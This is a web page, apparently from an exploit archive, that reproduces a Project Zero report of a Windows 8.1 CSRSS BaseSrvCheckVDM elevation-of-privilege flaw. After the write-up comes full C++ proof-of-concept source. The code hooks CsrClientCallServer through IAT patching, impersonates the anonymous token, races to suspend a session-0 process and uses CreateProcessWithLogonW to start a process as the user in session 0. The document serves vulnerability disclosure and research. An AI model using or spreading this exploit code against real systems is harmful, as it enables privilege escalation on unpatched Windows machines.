扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 |
/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=692 Windows: CSRSS BaseSrvCheckVDM Session 0 Process Creation EoP Platform: Windows 8.1, not tested on Windows 10 or 7 Class: Elevation of Privilege Summary: The CSRSS BaseSrv RPC call BaseSrvCheckVDM allows you to create a new process with the anonymous token, which results on a new process in session 0 which can be abused to elevate privileges. Description: CSRSS/basesrv.dll has a RPC method, BaseSrvCheckVDM, which checks whether the Virtual DOS Machine is installed and enabled. On Windows 8 and above the VDM is off by default (on 32 bit Windows) so if disabled CSRSS tries to be helpful and spawns a process on the desktop which asks the user to install the VDM.The token used for the new process comes from the impersonation token of the caller. So by impersonating the anonymous token before the call to CsrClientCallServer we can get CSRSS to use that as the primary token. As the anonymous token has a Session ID of 0 this means it creates a new process in session 0 (because nothing else changes the session ID). Now this in itself wouldn’t typically be exploitable, there are many places with similar behaviour (for example Win32_Process::Create in WMI) but most places impersonate the primary token it’s going to set over the call to CreateProcessAsUser. If it did this then for most scenarios the call to NtCreateUserProcess would fail with STATUS_ACCESS_DENIED as the anonymous token can’t access much in the way of files, unless of course the default configuration is changed to add the Everyone group to the token. However in this case the code in BaseSrvLaunchProcess instead calls a method, BasepImpersonateClientProcess which opens the calling process’s primary token, creates an impersonation token and impersonates that. This means that the call is created with the security context of the current user which _can_ access arbitrary files. So BaseSrvLaunchProcess does roughly: CsrImpersonateClient(0); OpenThreadToken(..., &hToken); DuplicateTokenEx(hToken, …, TokenPrimary, &hPrimaryToken); <- The anonymous token RevertToSelf(); OpenProcessToken(hCallerProcess, &hToken); DuplicateToken(hToken, SecurityImpersonation, &hImpToken); SetThreadToken(hThread, hImpTOken); <- This impersonates the user NtCreateUserProcess(...); <- Succeeds, creates process as Anonymous Logon in Session 0. Of course this new process in session 0 can’t do a lot due to it being run as the Anonymous Logon user, and in fact will die pretty quickly during initialization. However we can at least get a handle to it before it dies. At least if you have multiple CPUs it should be possible to win the race to open it and suspend the process before death (in fact for later exploitation you might not need it alive at all, just a handle is sufficient). Now you could patch out the LDR calls and allow the process to initialize, but it would be more useful to have a process as the current user with the session ID 0. One way we can do this is exploiting CreateProcessWithLogonW. If we use the LOGON_NETCREDENTIALS_ONLY flag then seclogon will create a new process based on the current callers token (which is the current user) but the service takes a Process ID value which indicates the parent process. It’s the parent process’s session ID which is used to determine what session the new token should really be in. So if we call seclogon, passing the PID of the anonymous token process but call it from the current user we’ll get an arbitrary process created with the current user token but in session 0. There’s some fun to do with default DACLs and the like to make this all work but that’s an implementation detail. The final question is is this useful? Session 0 has a special place in the security model on Windows, even more so since Vista with Session 0 isolation. For example because we’re in session 0 we can drop arbitrarily named Sections and Symbolic Links in \BaseNamedObjects which normally requires SeCreateGlobalPrivilege this might allow a low privilege user to interact with system services which no longer expect this kind of attack vector. Also there’s probably other places which check for Session ID 0 to make some sort of trust decision. Note even though the VDM isn’t present on x64 builds of Windows these CSRSS RPC calls still seem to exist and so should be vulnerable. From a fixing perspective I guess CSRSS should consistently use the same token for the primary and the impersonation. In the more general case I wonder if the anonymous token should have its Session ID set to the caller’s session ID when it impersonates to to prevent this scenario in the first place, but I bet there’s some difficult edge cases on that. Proof of Concept: I’ve provided a PoC as a C++ source code file. You need to compile it with VC++. This must be run on Windows 8.1 32 bit version as I abuse the existing code in CreateProcess to call CSRSS when trying to create a 16bit DOS executable. This is rather than going to the effort of reverse engineering the call. However if you did that it should work in a similar way on 64 bit windows. Also you MUST run it on a multi-processor system, you might not be able to win the race on a single core system, but I’ve not verified that. If it seems to get stuck and no new process is created it might have lost the race, try it again. Also try rebooting, I’ve observed the control panel sometimes not being created for some reason which a reboot tends to fix. 1) Compile the C++ source code file. 2) Execute the poc executable as a normal user. This will not work from low IL. 3) If successful a copy of notepad should be created (suspended though as it’ll crash trying to access the Window Station if it starts). You can create a process which will survive to add stuff to things like BaseNamedObjects but I’ve not provided such an executable. Expected Result: The call to BaseSrvCheckVDM should fail to create the control panel process. Observed Result: A new copy of notepad is created suspended. You can observe that it runs as the current user’s token but in Session ID 0. */ #include <stdio.h> #include <tchar.h> #include <Windows.h> #include <sddl.h> extern "C" { NTSTATUS NTAPI NtGetNextProcess( HANDLE ProcessHandle, ACCESS_MASK DesiredAccess, ULONG HandleAttributes, ULONG Flags, PHANDLE NewProcessHandle); NTSTATUS NTAPI NtSuspendProcess(HANDLE ProcessHandle); } HANDLE g_hProcess = nullptr; void SetProcessId(DWORD pid) { __asm { mov edx, [pid]; mov eax, fs:[0x18] mov [eax+0x20], edx } } DWORD CALLBACK CaptureAndSuspendProcess(LPVOID) { ImpersonateAnonymousToken(GetCurrentThread()); while (NtGetNextProcess(nullptr, MAXIMUM_ALLOWED, 0, 0, &g_hProcess) != 0) { } NTSTATUS status = NtSuspendProcess(g_hProcess); printf("Suspended process: %08X %p %d\n", status, g_hProcess, GetProcessId(g_hProcess)); RevertToSelf(); SetProcessId(GetProcessId(g_hProcess)); WCHAR cmdline[] = L"notepad.exe"; STARTUPINFO startInfo = {}; PROCESS_INFORMATION procInfo = {}; startInfo.cb = sizeof(startInfo); if (CreateProcessWithLogonW(L"user", L"domain", L"password", LOGON_NETCREDENTIALS_ONLY, nullptr, cmdline, CREATE_SUSPENDED, nullptr, nullptr, &startInfo, &procInfo)) { printf("Created process %d\n", procInfo.dwProcessId); } else { printf("Create error: %d\n", GetLastError()); } TerminateProcess(g_hProcess, 0); ExitProcess(0); return 0; } HANDLE GetAnonymousToken() { ImpersonateAnonymousToken(GetCurrentThread()); HANDLE hToken; OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &hToken); RevertToSelf(); PSECURITY_DESCRIPTOR pSD; ULONG sd_length; if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:(A;;GA;;;WD)(A;;GA;;;AN)", SDDL_REVISION_1, &pSD, &sd_length)) { printf("Error converting SDDL: %d\n", GetLastError()); exit(1); } TOKEN_DEFAULT_DACL dacl; BOOL bPresent; BOOL bDefaulted; PACL pDACL; GetSecurityDescriptorDacl(pSD, &bPresent, &pDACL, &bDefaulted); dacl.DefaultDacl = pDACL; if (!SetTokenInformation(hToken, TokenDefaultDacl, &dacl, sizeof(dacl))) { printf("Error setting default DACL: %d\n", GetLastError()); exit(1); } return hToken; } #define PtrFromRva( base, rva ) ( ( ( PBYTE ) base ) + rva ) /*++ Routine Description: Replace the function pointer in a module's IAT. Parameters: Module- Module to use IAT from. ImportedModuleName- Name of imported DLL from which function is imported. ImportedProcName- Name of imported function. AlternateProc - Function to be written to IAT. OldProc - Original function. Return Value: S_OK on success. (any HRESULT) on failure. --*/ HRESULT PatchIat( __in HMODULE Module, __in PSTR ImportedModuleName, __in PSTR ImportedProcName, __in PVOID AlternateProc, __out_opt PVOID *OldProc ) { PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)Module; PIMAGE_NT_HEADERS NtHeader; PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor; UINT Index; NtHeader = (PIMAGE_NT_HEADERS) PtrFromRva(DosHeader, DosHeader->e_lfanew); if (IMAGE_NT_SIGNATURE != NtHeader->Signature) { return HRESULT_FROM_WIN32(ERROR_BAD_EXE_FORMAT); } ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR) PtrFromRva(DosHeader, NtHeader->OptionalHeader.DataDirectory [IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); // // Iterate over import descriptors/DLLs. // for (Index = 0; ImportDescriptor[Index].Characteristics != 0; Index++) { PSTR dllName = (PSTR) PtrFromRva(DosHeader, ImportDescriptor[Index].Name); if (0 == _strcmpi(dllName, ImportedModuleName)) { // // This the DLL we are after. // PIMAGE_THUNK_DATA Thunk; PIMAGE_THUNK_DATA OrigThunk; if (!ImportDescriptor[Index].FirstThunk || !ImportDescriptor[Index].OriginalFirstThunk) { return E_INVALIDARG; } Thunk = (PIMAGE_THUNK_DATA) PtrFromRva(DosHeader, ImportDescriptor[Index].FirstThunk); OrigThunk = (PIMAGE_THUNK_DATA) PtrFromRva(DosHeader, ImportDescriptor[Index].OriginalFirstThunk); for (; OrigThunk->u1.Function != NULL; OrigThunk++, Thunk++) { if (OrigThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) { // // Ordinal import - we can handle named imports // ony, so skip it. // continue; } PIMAGE_IMPORT_BY_NAME import = (PIMAGE_IMPORT_BY_NAME) PtrFromRva(DosHeader, OrigThunk->u1.AddressOfData); if (0 == strcmp(ImportedProcName, (char*)import->Name)) { // // Proc found, patch it. // DWORD junk; MEMORY_BASIC_INFORMATION thunkMemInfo; // // Make page writable. // VirtualQuery( Thunk, &thunkMemInfo, sizeof(MEMORY_BASIC_INFORMATION)); if (!VirtualProtect( thunkMemInfo.BaseAddress, thunkMemInfo.RegionSize, PAGE_EXECUTE_READWRITE, &thunkMemInfo.Protect)) { return HRESULT_FROM_WIN32(GetLastError()); } // // Replace function pointers (non-atomically). // if (OldProc) { *OldProc = (PVOID)(DWORD_PTR) Thunk->u1.Function; } #ifdef _WIN64 Thunk->u1.Function = (ULONGLONG)(DWORD_PTR) AlternateProc; #else Thunk->u1.Function = (DWORD)(DWORD_PTR) AlternateProc; #endif // // Restore page protection. // if (!VirtualProtect( thunkMemInfo.BaseAddress, thunkMemInfo.RegionSize, thunkMemInfo.Protect, &junk)) { return HRESULT_FROM_WIN32(GetLastError()); } return S_OK; } } // // Import not found. // return HRESULT_FROM_WIN32(ERROR_PROC_NOT_FOUND); } } // // DLL not found. // return HRESULT_FROM_WIN32(ERROR_MOD_NOT_FOUND); } typedef void* (__stdcall *fCsrClientCallServer)(void* a, void* b, DWORD c, void* d); fCsrClientCallServer g_pCsgClientCallServer; void* __stdcall CsrClientCallServerHook(void* a, void* b, DWORD c, void* d) { void* ret = nullptr; printf("In ClientCall hook %08X\n", c); if (c == 0x10010005) { printf("Set Anonymous Token: %d\n", SetThreadToken(nullptr, GetAnonymousToken())); } ret = g_pCsgClientCallServer(a, b, c, d); RevertToSelf(); return ret; } int main(int argc, char** argv) { BOOL is_wow64 = FALSE; if (IsWow64Process(GetCurrentProcess(), &is_wow64) && is_wow64) { printf("Error: This must be run on 32 bit Windows\n"); return 1; } // Hook the call to CsrClientCallServer from kernel32 to apply the anonymous token. PVOID hook; HRESULT hr = PatchIat(GetModuleHandle(L"kernel32.dll"), "ntdll.dll", "CsrClientCallServer", CsrClientCallServerHook, &hook); if (FAILED(hr)) { printf("Error patching IAT: %08X\n", hr); return 1; } g_pCsgClientCallServer = (fCsrClientCallServer)hook; printf("Patched client %p %p\n", hook, GetProcAddress(GetModuleHandle(L"ntdll.dll"), "CsrClientCallServer")); HANDLE hThread = CreateThread(nullptr, 0, CaptureAndSuspendProcess, nullptr, 0, nullptr); // Wait a little just to ensure capture loop is running. Sleep(1000); STARTUPINFO startInfo = {}; startInfo.cb = sizeof(startInfo); PROCESS_INFORMATION procInfo = {}; WCHAR cmdline[] = L"edit.com"; // Create a 16bit executable, this will call into CSRSS which we've hooked. CreateProcess(nullptr, cmdline, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &startInfo, &procInfo); return 0; } |
体验盒子
